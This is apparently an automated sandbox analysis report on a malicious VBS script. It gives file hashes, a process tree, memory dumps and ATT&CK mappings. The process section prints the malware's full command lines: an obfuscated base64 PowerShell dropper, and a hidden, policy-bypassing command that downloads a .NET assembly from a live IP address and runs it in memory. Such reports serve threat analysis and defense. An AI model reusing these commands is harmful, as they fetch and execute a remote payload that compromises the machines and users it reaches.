792266a30b07db531fd65d979c4f91a271207eb2f3ffdee26f452ceba9af5349

General

Target

65b56626ae18acca0542ed6349fe76ff.vbs
Size

159KB
MD5

5bc0dbb1d4f2c3ee0aaad47f123f95bb
SHA1

5aaf4ad4a1e1a4fa206b0034b5653e09c4715071
SHA256

792266a30b07db531fd65d979c4f91a271207eb2f3ffdee26f452ceba9af5349
SHA512

cd8e2c2b0a4e1631a30dfd6be8dc22da411704da116bbcafe68caaa3efefd6c2062f53e0b39bea81c50e473493868af3f1594cc21f25417bac202bf149e8d0ae
SSDEEP

3072:oHGRwfkYFEhNe4VTdRnTT8w4TWXZqvcjk:7wfkYFYZqvcw

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://4.204.233.44/dll/NoStartUp.ppam

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1116 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

680 powershell.exe
1116 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 680 powershell.exe
Token: SeDebugPrivilege 1116 powershell.exe

flow	pid	process
4	1116	powershell.exe

pid	process
680	powershell.exe
1116	powershell.exe

description	pid	process
Token: SeDebugPrivilege	680	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1380 wrote to memory of 680	1380	WScript.exe	powershell.exe
PID 1380 wrote to memory of 680	1380	WScript.exe	powershell.exe
PID 1380 wrote to memory of 680	1380	WScript.exe	powershell.exe
PID 680 wrote to memory of 1116	680	powershell.exe	powershell.exe
PID 680 wrote to memory of 1116	680	powershell.exe	powershell.exe
PID 680 wrote to memory of 1116	680	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\65b56626ae18acca0542ed6349fe76ff.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC❤Hk❤d❤Bl❤Fs❤XQBd❤C❤❤J❤BE❤Ew❤T❤❤g❤D0❤I❤Bb❤FM❤eQBz❤HQ❤ZQBt❤C4❤QwBv❤G4❤dgBl❤HI❤d❤Bd❤Do❤OgBG❤HI❤bwBt❤EI❤YQBz❤GU❤Ng❤0❤FM❤d❤By❤Gk❤bgBn❤Cg❤K❤BO❤GU❤dw❤t❤E8❤YgBq❤GU❤YwB0❤C❤❤TgBl❤HQ❤LgBX❤GU❤YgBD❤Gw❤aQBl❤G4❤d❤❤p❤C4❤R❤Bv❤Hc❤bgBs❤G8❤YQBk❤FM❤d❤By❤Gk❤bgBn❤Cg❤JwBo❤HQ❤d❤Bw❤Do❤Lw❤v❤DQ❤Lg❤y❤D❤❤N❤❤u❤DI❤Mw❤z❤C4❤N❤❤0❤C8❤Z❤Bs❤Gw❤LwBO❤G8❤UwB0❤GE❤cgB0❤FU❤c❤❤u❤H❤❤c❤Bh❤G0❤Jw❤p❤Ck❤OwBb❤FM❤eQBz❤HQ❤ZQBt❤C4❤QQBw❤H❤❤R❤Bv❤G0❤YQBp❤G4❤XQ❤6❤Do❤QwB1❤HI❤cgBl❤G4❤d❤BE❤G8❤bQBh❤Gk❤bg❤u❤Ew❤bwBh❤GQ❤K❤❤k❤EQ❤T❤BM❤Ck❤LgBH❤GU❤d❤BU❤Hk❤c❤Bl❤Cg❤JwBG❤Gk❤YgBl❤HI❤LgBI❤G8❤bQBl❤Cc❤KQ❤u❤Ec❤ZQB0❤E0❤ZQB0❤Gg❤bwBk❤Cg❤JwBW❤EE❤SQ❤n❤Ck❤LgBJ❤G4❤dgBv❤Gs❤ZQ❤o❤CQ❤bgB1❤Gw❤b❤❤s❤C❤❤WwBv❤GI❤agBl❤GM❤d❤Bb❤F0❤XQ❤g❤Cg❤JwB0❤Hg❤d❤❤u❤HM❤awBk❤GI❤ZgBm❤Go❤agBk❤HM❤YgBm❤Ho❤agBz❤HY❤Z❤Bm❤Go❤Z❤Br❤Go❤eg❤v❤DQ❤Mg❤u❤D❤❤Mg❤x❤C4❤O❤❤3❤DE❤Lg❤1❤Dk❤MQ❤v❤C8❤OgBw❤HQ❤d❤Bo❤Cc❤KQ❤p❤❤==';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('❤','A') ) ).replace('%testinmg%','');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://4.204.233.44/dll/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.skdbffjjdsbfzjsvdfjdkjz/42.021.871.591//:ptth'))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1116

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
8c656477dbaf04bd80d5c082724effc1

SHA1
0733d65769921beb4bbae99ea34aecb4b667344a

SHA256
3ebfd48fe1b11ad8ed1df8700b70f8abc6ff3b98838b72b24951f4c8b73583ab

SHA512
045ef0e0394ca660d3ceb83e12689a3cc3dec85472d8affc68a723331c0fc574654abfbdb22d35bc4b785d3e646d278d4ed93cef1ab3ce7388c5b3ea9e5def49

Download Submit
memory/680-65-0x000000000207B000-0x000000000209A000-memory.dmp

Filesize
124KB

Download
memory/680-55-0x0000000000000000-mapping.dmp

Download
memory/680-57-0x000007FEF3A20000-0x000007FEF4443000-memory.dmp

Filesize
10.1MB

Download
memory/680-59-0x0000000002074000-0x0000000002077000-memory.dmp

Filesize
12KB

Download
memory/680-58-0x000007FEF2EC0000-0x000007FEF3A1D000-memory.dmp

Filesize
11.4MB

Download
memory/680-70-0x0000000002074000-0x0000000002077000-memory.dmp

Filesize
12KB

Download
memory/680-71-0x000000000207B000-0x000000000209A000-memory.dmp

Filesize
124KB

Download
memory/1116-64-0x000007FEF2EC0000-0x000007FEF3A1D000-memory.dmp

Filesize
11.4MB

Download
memory/1116-66-0x0000000001ED4000-0x0000000001ED7000-memory.dmp

Filesize
12KB

Download
memory/1116-67-0x0000000001EDB000-0x0000000001EFA000-memory.dmp

Filesize
124KB

Download
memory/1116-68-0x0000000001ED4000-0x0000000001ED7000-memory.dmp

Filesize
12KB

Download
memory/1116-69-0x0000000001EDB000-0x0000000001EFA000-memory.dmp

Filesize
124KB

Download
memory/1116-63-0x000007FEF3A20000-0x000007FEF4443000-memory.dmp

Filesize
10.1MB

Download
memory/1116-60-0x0000000000000000-mapping.dmp

Download
memory/1380-54-0x000007FEFBE91000-0x000007FEFBE93000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing